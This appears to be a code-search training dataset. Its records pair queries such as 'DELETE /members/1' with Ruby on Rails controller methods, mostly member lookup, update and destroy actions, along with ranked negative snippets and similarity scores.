"def update\n @member = Member.find(params[:id])\n\n respond_to do |format|\n if @member.update_attributes(params[:member])\n unless @member.err\n @member.get_member_uuid\n end\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @member.update(update_params)\n format.html { redirect_to @member }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @member.update(member_params)\n format.html { redirect_to admin_member_path(@member), notice: 'Member was successfully updated.' }\n format.json { render :show, status: :ok, location: @member }\n else\n format.html { render :edit }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @member.update(member_params)\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { render :show, status: :ok, location: @member }\n else\n @uplines = Member.where.not(id: @member.self_and_descendants.collect(&:id)).order(\"fullname\")\n format.html { render :edit }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(args)\n builder.update_rest(type, ref, args, username, password)\n self.elements(true)\n end",
"def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend",
"def set_member\n member_id = params[:id]\n @member = Member.find(member_id)\n end",
"def update!(**args)\n @members = args[:members] if args.key?(:members)\n @resource = args[:resource] if args.key?(:resource)\n @resource_type = args[:resource_type] if args.key?(:resource_type)\n @role = args[:role] if args.key?(:role)\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = @account.members.find(params[:id])\n end",
"def update(uid, params, membership)\n data = {\n initials: (params[4].nil? ? params[5][0] : params[4].tr('^a-zA-Z', '')),\n email: (params[3].nil? ? 'unknown@nieuwedelft.nl.invalid' : params[3]),\n gender: params[9] == 'Vrouw' ? 'F' : 'M',\n phone: params[14],\n mobile: params[2],\n phone_parents: params[24],\n address: [params[10], params[11], params[12]].join(' '),\n membership: membership,\n }\n begin\n unless params[15].nil?\n data[:dateofbirth] = Date.strptime(params[15], '%d-%m-%Y').strftime('%Y-%m-%d')\n end\n rescue\n $problems.write \"#{$index}, #{data[:firstname]} #{data[:lastname]}, Birthdate ignored\\n\"\n end\n patch(\"https://people.i.bolkhuis.nl/persons/#{uid}\", data)\n\n # Send payload to operculum\n put(\"https://operculum.i.bolkhuis.nl/person/#{uid}\", {\n nickname: params[8],\n study: params[16],\n alive: params[17].nil?,\n inauguration: params[25],\n resignation_letter: params[26],\n resignation: params[27],\n })\nend",
"def update\n @position_member = PositionMember.find(params[:id])\n\n respond_to do |format|\n if @position_member.update_attributes(params[:position_member])\n format.html { redirect_to(@position_member, :notice => 'Position member was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @position_member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @oc_member = OcMember.find(params[:id])\n\n respond_to do |format|\n if @oc_member.update_attributes(params[:oc_member])\n format.html { redirect_to @oc_member, notice: 'Oc member was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @oc_member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_member\n @member = User.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:member_id])\n end",
"def update_current_logged_in_user(args = {}) \n put(\"/users.json/current\", args)\nend",
"def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end",
"def update_members(action)\n @team = MnoEnterprise::Team.find(params[:id])\n authorize! :manage_teams, @team.organization\n\n if params[:team] && params[:team][:users]\n id_list = params[:team][:users].map { |h| h[:id] }.compact\n users = @team.organization.users.where('id.in' => id_list)\n\n users.each { |u| @team.send(action, u) }\n\n MnoEnterprise::EventLogger.info('team_update', current_user.id, 'Team composition updated', @team,\n {action: action.to_s, users: users.map(&:email)})\n end\n @team.reload\n\n render 'show'\n end",
"def update\n @member = Member.find_by_url_or_id(params[:id])\n\n if @member.update_attributes(params[:member])\n flash[:notice] = 'Member was successfully updated.'\n redirect_to about_path(@member.url)\n else\n render :action => \"edit\" \n end\n end",
"def update\n @organization_member = OrganizationMember.find(params[:id])\n\n respond_to do |format|\n if @organization_member.update_attributes(params[:organization_member])\n format.html { redirect_to(@organization_member, :notice => 'Organization member was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @organization_member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(*args)\n request :put, *args\n end",
"def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end",
"def update!(**args)\n @members = args[:members] if args.key?(:members)\n @role = args[:role] if args.key?(:role)\n end",
"def update\n respond_to do |format|\n if @member == current_member && @member.update(member_params)\n format.html { redirect_to @member, notice: 'Member updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end",
"def set_member\n @member = Member.find(params[:id])\n end"
] |
[
"0.62681997",
"0.6248367",
"0.6248367",
"0.6235916",
"0.62278175",
"0.61481386",
"0.6045742",
"0.60422605",
"0.6030557",
"0.59456027",
"0.59424746",
"0.59080094",
"0.5905808",
"0.5904432",
"0.59011877",
"0.5881098",
"0.5880963",
"0.58590305",
"0.5852408",
"0.5852408",
"0.5852408",
"0.5852408",
"0.5852408",
"0.58267015",
"0.58219224",
"0.579176",
"0.57833374",
"0.576584",
"0.576584",
"0.576584",
"0.576584",
"0.576584",
"0.576584",
"0.576584",
"0.576584",
"0.576584",
"0.57536143",
"0.5752858",
"0.57509065",
"0.57509065",
"0.5733382",
"0.5729413",
"0.5716772",
"0.5711842",
"0.57093686",
"0.570715",
"0.5702614",
"0.56941706",
"0.56941706",
"0.5667696",
"0.56277955",
"0.56266564",
"0.5622743",
"0.5622655",
"0.561785",
"0.5577794",
"0.55712754",
"0.55712754",
"0.55712754",
"0.55712754",
"0.55712754",
"0.5564617",
"0.55644506",
"0.5555981",
"0.5549477",
"0.5530253",
"0.5520169",
"0.5516121",
"0.55067426",
"0.5491727",
"0.5488915",
"0.5486991",
"0.5481666",
"0.5478334",
"0.5472628",
"0.5472183",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291",
"0.5464291"
] |
0.0
|
-1
|
DELETE /members/1 DELETE /members/1.xml
|
def destroy
@member = Member.find(params[:id])
@member.destroy
respond_to do |format|
format.html { redirect_to(members_url) }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @member = Member.find(params[:id])\n @member.destroy\n \n \n respond_to do |format|\n format.html { redirect_to(members_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @member = Member.find(params[:id])\n @member.destroy\n respond_to do |format|\n format.html { redirect_to members_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @member.destroy\n\n respond_to do |format|\n flash[:notice] = \"Destroyed user\"\n format.html { redirect_to(members_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @member.destroy\n\n respond_to do |format|\n flash[:notice] = \"Destroyed user\"\n format.html { redirect_to(members_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @member = Member.find(params[:id])\n @member.destroy\n logger.info(\"#{Time.now} Se elimina el miembro ##{@member.id}!\")\n respond_to do |format|\n format.html { redirect_to(members_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @member = Member.find(params[:id])\n @member.deleted = true\n @member.save\n\n respond_to do |format|\n format.html { redirect_to members_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @member_info = MemberInfo.find(params[:id])\n @member_info.destroy\n\n respond_to do |format|\n format.html { redirect_to(member_infos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\t\t@member = Member.find(params[:id])\n\t\t@member.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(members_url) }\n\t\t\tformat.xml\t{ head :ok }\n\t\tend\n\tend",
"def delete(*args)\n arguments(args, required: [:org_name, :user])\n\n delete_request(\"/orgs/#{arguments.org_name}/members/#{arguments.user}\",\n arguments.params)\n end",
"def delete_member path\n rewrite_members member_paths.delete(path)\n end",
"def destroy\n @member = Member.find(params[:id])\n @member.destroy\n\n \n respond_to do |format|\n format.html { redirect_to members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\tif !checkadmin? then return end\n\n @member = Member.find(params[:id])\n @member.destroy\n\n respond_to do |format|\n format.html { redirect_to members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member.destroy\n\n respond_to do |format|\n format.html { redirect_to members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member.destroy\n\n respond_to do |format|\n format.html { redirect_to members_url }\n format.json { head :no_content }\n end\n end",
"def delete\n @user = User.find(params[:id])\n @user.rvsps.delete_all()\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @member = Member.find(params[:id])\n @member.destroy\n\n respond_to do |format|\n format.html { redirect_to(members_url) }\n format.json { head :ok }\n end\n end",
"def destroy\n @member = Member.find(params[:id])\n @member.destroy\n\n respond_to do |format|\n format.html { redirect_to members_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @member = Member.find(params[:id])\n @member.destroy\n\n respond_to do |format|\n format.html { redirect_to members_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @member = Member.find(params[:id])\n @member.destroy\n\n respond_to do |format|\n format.html { redirect_to members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member = Member.find(params[:id])\n @member.destroy\n\n respond_to do |format|\n format.html { redirect_to members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member = Member.find(params[:id])\n @member.destroy\n\n respond_to do |format|\n format.html { redirect_to members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member = Member.find(params[:id])\n @member.destroy\n\n respond_to do |format|\n format.html { redirect_to members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member = Member.find(params[:id])\n @member.destroy\n\n respond_to do |format|\n format.html { redirect_to members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member = Member.find(params[:id])\n @member.destroy\n\n respond_to do |format|\n format.html { redirect_to members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member = Member.find(params[:id])\n @member.destroy\n\n respond_to do |format|\n format.html { redirect_to members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member.destroy\n respond_to do |format|\n format.html { redirect_to members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member.destroy\n respond_to do |format|\n format.html { redirect_to members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member = Member.find_by_url_or_id(params[:id])\n @member.destroy\n\n redirect_to(members_url)\n end",
"def destroy \n @oc_member = OcMember.find(params[:id])\n @oc_member.destroy\n\n respond_to do |format|\n format.html { redirect_to oc_members_url }\n format.json { head :no_content }\n end\n end",
"def \n \n\n # ADMIN ONLY:\n # Deleting a Member\n # delete /members/:id\n def destroy\n # Maybe this shouldn't be allowed if member has transactions?\n # Since calculations are based on all transactions from the\n # beginning of time, deleting a member's transactions would\n # impact the other members' debts...\n Member.find(params[:id]).destroy\n flash[:success] = \"Deleted\"\n redirect_to members_path\n end",
"def destroy\n @who_member = WhoMember.find(params[:id])\n @who_member.destroy\n\n respond_to do |format|\n format.html { redirect_to(who_members_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end",
"def destroy\n @member.destroy\n respond_to do |format|\n format.html { redirect_to attends_url }\n format.json { head :no_content }\n end\n end",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def destroy\n @member.destroy\n respond_to do |format|\n format.html { redirect_to members_url, notice: '削除しました' }\n format.json { head :no_content }\n end\n end",
"def delete\n sql = 'DELETE FROM members WHERE id = $1'\n values = [@id]\n SqlRunner.run(sql, values)\nend",
"def destroy\n @position_member = PositionMember.find(params[:id])\n @position_member.destroy\n\n respond_to do |format|\n format.html { redirect_to(position_members_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @membre = Membre.find(params[:id])\n @membre.destroy\n\n respond_to do |format|\n format.html { redirect_to(membres_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @member.destroy\n respond_to do |format|\n format.html { redirect_to members_url, notice: 'El miembro ha sido eliminado' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @membership ||= Membership.find(params[:id])\n @membership.destroy\n\n respond_to do |format|\n format.html { redirect_to memberships_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@member = Member.find(params[:id])\n @member.destroy\n\n redirect_back_or_default(root_path)\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @family_member = FamilyMember.find(params[:id])\n @family_member.destroy\n\n respond_to do |format|\n format.html { redirect_to(family_family_members_url(@current_family)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @member.destroy\n respond_to do |format|\n format.html { redirect_to admin_member_members_path, notice: 'Member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member.destroy!\n respond_to do |format|\n format.html { redirect_to members_url, notice: 'Member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @independent = @member.independents.find(params[:id])\n @independent.destroy\n\n respond_to do |format|\n format.html { redirect_to(member_independents_url(@member)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @membership.destroy\n respond_to do |format|\n format.html { redirect_to memberships_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @membership.destroy\n respond_to do |format|\n format.html { redirect_to memberships_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member.destroy\n respond_to do |format|\n format.html { redirect_to members_url, notice: 'Member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member.destroy\n respond_to do |format|\n format.html { redirect_to members_url, notice: 'Member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member.destroy\n respond_to do |format|\n format.html { redirect_to members_url, notice: 'Member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member.destroy\n respond_to do |format|\n format.html { redirect_to members_url, notice: 'Member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member.destroy\n respond_to do |format|\n format.html { redirect_to members_url, notice: 'Member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member.destroy\n respond_to do |format|\n format.html { redirect_to members_url, notice: 'Member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member.destroy\n respond_to do |format|\n format.html { redirect_to members_url, notice: 'Member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member.destroy\n respond_to do |format|\n format.html { redirect_to members_url, notice: 'Member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member.destroy\n respond_to do |format|\n format.html { redirect_to members_url, notice: 'Member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member.destroy\n respond_to do |format|\n format.html { redirect_to members_url, notice: 'Member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n session[:member_id] = nil\n @member.destroy\n respond_to do |format|\n format.html { redirect_to members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @membre = Membre.find(params[:id])\n @membre.destroy\n\n respond_to do |format|\n format.html { redirect_to(famille_url(@famille)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @organization_member = OrganizationMember.find(params[:id])\n @organization_member.destroy\n\n respond_to do |format|\n format.html { redirect_to(organization_members_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @game_member = GameMember.find(params[:id])\n @game_member.destroy\n\n respond_to do |format|\n format.html { redirect_to(:back, :notice => 'Game member was successfully deleted.') }\n format.xml { head :ok }\n end\n end",
"def destroy\n @member.destroy\n respond_to do |format|\n format.html do\n redirect_to members_url,\n notice: 'Profile was successfully deleted.'\n end\n format.json { head :no_content }\n end\n end",
"def destroy\n @member.destroy\n respond_to do |format|\n format.html do\n redirect_to members_url,\n notice: 'Member was successfully destroyed.'\n end\n format.json { head :no_content }\n end\n end",
"def destroy\n @aiit_member = AiitMember.find(params[:id])\n @aiit_member.destroy\n\n respond_to do |format|\n format.html { redirect_to aiit_members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @membership.destroy\n respond_to do |format|\n format.html { redirect_to @user }\n format.json { head :no_content }\n end\n end",
"def destroy\n @group_member = GroupMember.find(params[:id])\n @group_member.destroy\n\n respond_to do |format|\n format.html { redirect_to group_members_url }\n format.json { head :no_content }\n end\n end",
"def _delete(type, *args)\n type = type.to_s.camelize\n metadata = args.map { |full_name| {:full_name => full_name} }\n request :delete do |soap|\n soap.body = {\n :metadata => metadata\n }.merge(attributes!(type))\n end\n end",
"def destroy\n @provider = Provider.find(params[:id])\n member_id = @provider.member_id\n @provider.destroy\n\n respond_to do |format|\n format.html { redirect_to member_url(member_id) }\n format.xml { head :ok }\n format.json {render :json=> {\"resp\" => \"ok\"} }\n end\n end",
"def delete(owner_id, name)\n @user.delete([@base_uri, owner_id, name].join(\"/\"))\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @elder_member.destroy\n respond_to do |format|\n format.html { redirect_to elder_members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @account_membership = AccountMembership.find(params[:id])\n @account_membership.destroy\n\n respond_to do |format|\n format.html { redirect_to(account_memberships_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n if @member.email == \"admin@admin.com\"\n redirect_to logged_in_user, notice: \"Cannot Delete SuperUser.\"\n else\n Booking.where(member_id: @member.id).destroy_all\n @member.destroy\n respond_to do |format|\n format.html { redirect_to members_url, notice: 'Member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @dc_member = DcMember.find(params[:id])\n @dc_member.destroy\n\n respond_to do |format|\n format.html { redirect_to dc_members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n User.destroy(params[:id])\n flash[:notice] = \"Deleted member!\"\n redirect_to :action => :index\n end",
"def destroy\n User.destroy(params[:id])\n flash[:notice] = \"Deleted member!\"\n redirect_to :action => :index\n end",
"def destroy\n\t\t@room.members.destroy(params[:id])\n\t\trespond_to do |format|\n\t\t\tback_page = room_members_url\n\t\t\tback_page = URI(request.referer).path if params[:back]\n\t\t\tback_page = params[:redirect] if params[:redirect]\n\t\t\tformat.html { redirect_to back_page, notice: 'Member was successfully destroyed.' }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def destroy\n @membership.destroy\n respond_to do |format|\n format.html { redirect_to member_url(@membership.member), notice: 'Membership was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy_member\n\n #@member = Member.find\n #@member.destroy\n respond_to do |format|\n format.html { redirect_to organizations_url }\n format.json { head :no_content }\n end\n end",
"def remove_member(id, user)\n client.delete(\"#{path}/#{id}/members\", user)\n end",
"def destroy\n @member.destroy\n respond_to do |format|\n format.html { redirect_to space_members_url(@space), notice: 'Member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member = Member.find(params[:id])\n raise CanCan::AccessDenied if cannot? :delete, @member\n @member.destroy\n\n respond_to do |format|\n format.html { redirect_to members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\t@membership = Membership.find(params[:id])\n\t\t@membership.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(memberships_url, :notice => \"Membership successfully destroyed.\") }\n\t\t\tformat.xml\t{ head :ok }\n\t\tend\n\tend",
"def destroy\n @person = Person.find(params[:id])\n @person.destroy if @person.users.empty?\n \n respond_to do |format|\n format.html { redirect_to(people_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @alliance_member = AllianceMember.find(params[:id])\n @alliance_member.destroy\n\n respond_to do |format|\n format.html { redirect_to(alliance_members_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @boardmember = Boardmember.find(params[:id])\n @boardmember.destroy\n\n respond_to do |format|\n format.html { redirect_to(boardmembers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @clnmember = Clnmember.find(params[:id])\n @clnmember.destroy\n\n respond_to do |format|\n format.html { redirect_to clnmembers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member = Member.where(user_id: params[:user_id], group_id: params[:group_id]).take\n @member.destroy\n redirect_to root_path, notice: 'Вы удалились из группы'\n end",
"def destroy\n @dotsmember = Dotsmember.find(params[:id])\n @dotsmember.destroy\n\n respond_to do |format|\n format.html { redirect_to dotsmembers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n organization = @member.organization \n\n @member.destroy\n logger.info(\"User #{current_user.email} destroyed Member '#{@member.first_name} #{@member.last_name}' on #{@member.updated_at}\")\n respond_to do |format|\n format.html { redirect_to organization, notice: 'Member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @profile = self.current_member.profile\n @profile.destroy\n\n respond_to do |format|\n format.html { redirect_to current_member_profile_path }\n format.xml { head :ok }\n end\n end",
"def del_member(_user_id)\n update!(del_members: [_user_id])\n end",
"def delete_list_member(f)\n File.open f, 'r' do |file|\n file.each do |email|\n begin\n print email\n email.chomp!\n RestClient.delete(\"https://api:key-#{API_KEY}\" \\\n \"@api.mailgun.net/v3/lists/#{LIST}@#{DOMAIN_NAME}/members/#{email}\")\n rescue\n puts \"--------\\n#{email} Not found..NEXT\\n\"\n next\n end\n end\n end\nend",
"def destroy\n @family_member = FamilyMember.find(params[:id])\n @family_member.destroy\n\n respond_to do |format|\n format.html { redirect_to family_members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @family_member = FamilyMember.find(params[:id])\n @family_member.destroy\n\n respond_to do |format|\n format.html { redirect_to family_members_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7257433",
"0.70842797",
"0.70696974",
"0.70696974",
"0.70323604",
"0.69961685",
"0.6849304",
"0.6777742",
"0.6717248",
"0.6684298",
"0.6666834",
"0.66305155",
"0.6599085",
"0.6599085",
"0.6592147",
"0.65882736",
"0.65861404",
"0.65861404",
"0.6572019",
"0.6572019",
"0.6572019",
"0.6572019",
"0.6572019",
"0.6572019",
"0.6572019",
"0.65679044",
"0.65679044",
"0.6544078",
"0.65083957",
"0.6507083",
"0.6501085",
"0.649776",
"0.64787453",
"0.64431506",
"0.6434861",
"0.64227015",
"0.6398387",
"0.6395689",
"0.63796294",
"0.63735247",
"0.6368044",
"0.6327615",
"0.6313631",
"0.63057363",
"0.6300822",
"0.63001317",
"0.6285648",
"0.62845105",
"0.62845105",
"0.6282584",
"0.6282584",
"0.6282584",
"0.6282584",
"0.6282584",
"0.6282584",
"0.6282584",
"0.6282584",
"0.6282584",
"0.6282584",
"0.6261386",
"0.62601155",
"0.6249381",
"0.6242587",
"0.62379014",
"0.62375003",
"0.6229516",
"0.62217957",
"0.6216116",
"0.62142164",
"0.62085253",
"0.62076014",
"0.6207216",
"0.620274",
"0.6198822",
"0.61966866",
"0.61949116",
"0.6194349",
"0.6194349",
"0.6189655",
"0.6185135",
"0.61751676",
"0.61613286",
"0.61587566",
"0.6156273",
"0.6151828",
"0.61441344",
"0.6134077",
"0.61319727",
"0.6130217",
"0.6116147",
"0.6115567",
"0.61092556",
"0.6100882",
"0.60969806",
"0.607135",
"0.6066672",
"0.6066672"
] |
0.7141851
|
3
|
Dump one fact type.
|
def fact_type_dump(fact_type, name)
@fact_types_dumped[fact_type] = true
return objectified_fact_type_dump(fact_type.entity_type) if fact_type.entity_type
puts fact_type.scala_definition
@metamodel << fact_type.scala_metamodel
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def fact_type_dump_with_dependents(fact_type)\n fact_type.ordered_dumped!\n return if skip_fact_type(fact_type)\n\n if (et = fact_type.entity_type) &&\n fact_type.all_role.size > 1 &&\n (pi = et.preferred_identifier) &&\n pi.role_sequence.all_role_ref.detect{|rr| rr.role.fact_type != fact_type }\n # trace \"Dumping objectified FT #{et.name} as an entity, non-fact PI\"\n entity_type_dump(et)\n released_fact_types_dump(et)\n return\n end\n\n # trace \"#{fact_type.name} has readings:\\n\\t#{fact_type.readings.map(&:name)*\"\\n\\t\"}\"\n # trace \"Dumping #{fact_type.concept.guid} as a fact type\"\n\n # Fact types that aren't nested have no names\n name = fact_type.entity_type && fact_type.entity_type.name\n\n fact_type_dump(fact_type, name)\n\n # REVISIT: Go through the residual constraints and re-process appropriate readings to show them\n\n#CJH: Necessary?\n fact_type.ordered_dumped!\n fact_type.entity_type.ordered_dumped! if fact_type.entity_type\n end",
"def fact_roles_dump(fact_type)\n fact_type.all_role.sort_by{|role|\n role.preferred_role_name(fact_type.entity_type)\n }.each{|role| \n role_name = role.preferred_role_name(fact_type.entity_type)\n one_to_one = role.is_unique\n as = role_name != role.object_type.oo_default_role_name ? \"_as_#{role_name}\" : \"\"\n# debugger if as != ''\n raise \"Fact #{fact_type.describe} type is not objectified\" unless fact_type.entity_type\n other_role_method = (one_to_one ? \"\" : \"all_\") + \n fact_type.entity_type.oo_default_role_name +\n as\n binary_dump(role, role_name, role.object_type, true, one_to_one, nil, nil, other_role_method)\n }\n end",
"def dump(value)\n dumped = typecast(value)\n dumped.name if dumped.is_a?(::Class)\n end",
"def dump(value)\n Jrodb::Type.dump(type, value)\n end",
"def dump() end",
